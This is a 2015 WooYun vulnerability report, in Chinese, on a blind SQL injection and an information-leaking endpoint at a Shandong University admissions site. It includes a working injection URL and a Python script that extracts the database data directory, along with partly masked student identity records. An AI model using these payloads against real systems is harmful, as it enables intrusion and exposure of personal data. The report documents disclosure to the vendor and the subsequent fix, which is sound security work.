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缺陷编号:wooyun-2015-0148663

漏洞标题:山东大学某处泄露信息接口同时伴随B型get注入漏洞附脚本

相关厂商:山东大学

漏洞作者: 眼镜蛇

提交时间:2015-10-22 18:34

修复时间:2015-11-10 09:19

公开时间:2015-11-10 09:19

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-10-22: 细节已通知厂商并且等待厂商处理中
2015-10-22: 厂商已经确认,细节仅向厂商公开
2015-11-01: 细节向核心白帽子及相关领域专家公开
2015-11-10: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

山东大学某处泄露信息接口同时伴随B型get注入漏洞附脚本

详细说明:

访问
http://www.bkzs.sdu.edu.cn/queryadmit?examno=%27xor%28if%28now%28%29=sysdate%28%29%20and%20ascii%28mid%28@@datadir,1,1%29%29%3E1,sleep%281%29,1%29%29or%27b&idcard=e&name=c&year=2015&tn=monline_4_dg
条件为真的时候
获得学生身份信息

{"id":"43440","ssmc":"13河北","kslxmc":"器乐校考","ksh":"15130401***008","sfzh":"130404****01282419","xm":"张*昕","xb":"男","zymc":"音乐学(西洋器乐表演)","bz":"","year":"2015","tag":"1"}


条件为假的时候获得信息:

{"id":"43439","ssmc":"13河北","kslxmc":"器乐校考","ksh":"15130104***062","sfzh":"130104****12232429","xm":"费*汇","xb":"女","zymc":"音乐学(中国民族器乐表演)","bz":"","year":"2015","tag":"1"}


二注入验证脚本:

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL,data):
#print URL
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, data, user_agent)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
if e.code == 500:
return 'Runtime Error'
except URLError, e:
#print('[!] We failed to reach a server.')
#print('[!] Reason: ' + str(e.reason))
sys.exit(1)
return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if (right-left==1):
result += chr(right)
print 'datadir: ' ,result
break
payload = "a%%27xor(if(now()=sysdate()%%20and%%20ascii(mid(@@datadir,%s,1))>%s,sleep(1),1))or%%27b&idcard=e&name=c&year=2015&tn=monline_4_dg" % (index, mid)
print payload
# payload=""
html = request('http://www.bkzs.sdu.edu.cn/queryadmit?examno='+payload,None)
#print html
verify = '43440'
if verify in html:
left = mid
else:
right = mid
if __name__ == '__main__':
for i in range(1,21):
binary_sqli(32, 127, i)

漏洞证明:

注入得到datadir:

1.png

修复方案:

参数过滤

版权声明:转载请注明来源 眼镜蛇@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-10-22 20:12

厂商回复:

已通报系统所属单位处置

最新状态:

2015-11-10:已修复


漏洞评价:

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